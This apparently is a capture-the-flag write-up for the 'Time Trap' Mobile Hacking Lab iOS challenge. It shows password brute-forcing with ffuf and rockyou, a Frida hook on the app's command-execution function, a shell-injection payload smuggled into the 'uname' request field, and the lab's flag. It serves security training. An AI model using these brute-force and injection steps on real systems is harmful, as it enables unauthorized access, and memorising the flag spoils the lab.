Post

Time Trap - Mobile Hacking Lab


Introduction

Welcome to the Time Trap Challenge. In this challenge, you will explore the vulnerabilities in an internally used application named Time Trap, focusing on Command Injection. Time Trap is a fictional application that showcases insecure practices commonly found in internal applications. Your objective is to exploit the Command Injection vulnerability to gain unauthorized access and execute commands on the iOS device.


Objective

Exploit Command Injection vulnerability: Your task is to identify and exploit the Command Injection vulnerability within the application to execute commands on a victim’s account.


There is no registration screen in the application. However, the lab hints note that employee emp002 uses a weak password, so the next step is to brute-force emp002’s credentials to gain access.


Intercept the login request with Burp Suite, save the request to a file, set the username to emp002, and replace the password value with the placeholder FUZZ.

1
2
3
4
5
6
7
8
9
10
POST /time-trap/login HTTP/2
Host: mhl.pages.dev
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
User-Agent: Time%20Trap/1 CFNetwork/1390 Darwin/22.0.0
Content-Length: 43
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

{"username":"emp002","password":"FUZZ"}


Use ffuf with the rockyou wordlist to brute-force the password, and filter out responses with HTTP status 401 (returned when the username or password is incorrect, with the body "Invalid username or password").

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
└─$ ffuf -request request.txt -request-proto https -w /usr/share/wordlists/rockyou.txt -fc 401

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : https://mhl.pages.dev/time-trap/login
 :: Wordlist         : FUZZ: /usr/share/wordlists/rockyou.txt
 :: Header           : Accept: */*
 :: Header           : Content-Type: application/json
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : User-Agent: Time%20Trap/1 CFNetwork/1390 Darwin/22.0.0
 :: Header           : Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
 :: Header           : Host: mhl.pages.dev
 :: Data             : {"username":"emp002","password":"FUZZ"}
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 401
________________________________________________

firefly                 [Status: 200, Size: 144, Words: 1, Lines: 1, Duration: 809ms]


The password for emp002 is firefly, so you can sign in with username emp002 and password firefly.



When you press the “Check In” button, the application sends a request with the “uname” parameter in the body.



Reverse Engineering with Ghidra

The function _ $s9Time_Trap20AttendanceControllerC13buttonPressedyySo8UIButtonCF runs the command uname -a when the Check In button is pressed. It also executes a small bash script that compares the output of $(uname) with the uname parameter from the HTTP request. If they do not match, the script executes uname -a again.






The value of the uname parameter from the HTTP request is passed directly into the _executeCommand method.



_executeCommand is located in the binary at offset 0x4000.



Observe the _executeCommand function (offset 0x4000) using Frida to print its parameter and see what commands are executed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var addr = ptr(0x4000);
var t_module = 'Time Trap';
var nw = Module.getBaseAddress(t_module);
var toAtt = nw.add(addr);

Interceptor.attach(toAtt, {
    onEnter: function (args) {
        // First parameter (x0 on arm64)
        var p0 = args[0];

        console.log("[*] onEnter: target = " + toAtt);
    

        if (p0.isNull && p0.isNull()) {
            console.log("[*] arg0 is NULL");
            return;
        }

        // Try interpreting as C-string
        try {
            var s = Memory.readUtf8String(p0);
            if (s !== null) {
                console.log("[*] arg0 as C-string: " + s);
            }
        } catch (err) {
            // not a valid C-string or unreadable
        }

    }
});


After running the Frida script and pressing Check In, the script’s console output shows "uname -a", indicating that _executeCommand was invoked with "uname -a" as its parameter.

1
2
3
Spawned `com.mobilehackinglab.TimeTrap3.W46SY5ZJ6Z`. Resuming main thread!
[iOS Device::com.mobilehackinglab.TimeTrap3.W46SY5ZJ6Z ]-> [*] onEnter: target = 0x1009c0000
[*] arg0 as C-string: uname -a


Pressing Check Out produced console output showing the bash script if [[ $(uname -a) != "" ]]; then uname -a; fi, which indicates _executeCommand was invoked with that entire string as its parameter.

1
2
[iOS Device::com.mobilehackinglab.TimeTrap3.W46SY5ZJ6Z ]-> [*] onEnter: target = 0x1009c0000
[*] arg0 as C-string: if [[ $(uname -a) != "" ]]; then uname -a; fi


When I set the request’s uname field to test, the Frida log displayed if [[ $(uname -a) != "test" ]]; then uname -a; fi. This confirms that the user-supplied uname value is injected directly into the bash script used by _executeCommand.



1
2
[iOS Device::com.mobilehackinglab.TimeTrap3.W46SY5ZJ6Z ]-> [*] onEnter: target = 0x1041d8000
[*] arg0 as C-string: if [[ $(uname -a) != "test" ]]; then uname -a; fi


This script checks the output of the uname -a command and only prints it if it does not equal the literal string "test". Here’s how it works: $(uname -a) runs the command and substitutes its output (the full kernel and OS information) into the condition. The [[ ... ]] construct is Bash’s extended test syntax, and inside it, the != operator compares the substituted string with "test". If the output of uname -a is not exactly "test", the condition evaluates to true, and the then block executes, running uname -a again to display the system information. The fi marks the end of the conditional. In simpler terms, the script says: “If the system information is anything other than the word test, print the system information.” Since uname -a usually returns something like Darwin iPhone XX.0.0 Darwin Kernel, the condition will almost always be true, so the command will normally print the system details.


The uname parameter is inserted directly into the shell script, creating a command-injection vulnerability

1
2
3
if [[ $(uname -a) != "$user_input" ]]; then
    uname -a
fi


We need to insert our command while ensuring the Bash script continues to execute without errors. To execute the command echo 'rce' > /tmp/rce.txt, the Bash script should be structured as follows:

1
2
3
if [[ "$(uname -a)" != "any" ]]; then
    echo 'rce' > /tmp/rce.txt
fi # ]]; then  uname -a fi

the Bash script as a one-liner

1
if [[ "$(uname -a)" != "any" ]]; then echo 'rce' > /tmp/rce.txt; fi # ]]; then  uname -a fi

the payload is

1
any" ]]; then echo 'rce' > /tmp/rce.txt; fi #


The exploitation of the command-injection vulnerability

  1. Spawn the application using Frida
1
└─# frida -U -f com.mobilehackinglab.TimeTrap3.W46SY5ZJ6Z -l hook.js 
  1. Log in with username “emp002” and password “firefly”.
  2. Turn Burp Proxy intercept on.
  3. Press the “Check In” button.
  4. Set the “uname” request parameter to any\" ]]; then echo 'rce' > /tmp/rce.txt; fi # and send the request.
  5. Successful exploitation will cause the response to include the flag value, indicating the lab is solved.



Note: when you press the “Check Out” button, the Frida script will print the Bash script that was executed; observe that the injected command appears and ran as expected.

1
2
[iOS Device::com.mobilehackinglab.TimeTrap3.W46SY5ZJ6Z ]-> [*] onEnter: target = 0x1048f8000
[*] arg0 as C-string: if [[ $(uname -a) != "any" ]]; then echo 'rce' > /tmp/rce.txt; fi #" ]]; then uname -a; fi


Flag: MHL{9_t0_5_C0mm4ndz_Sl4v1ng_4w4y}

This post is licensed under CC BY 4.0 by the author.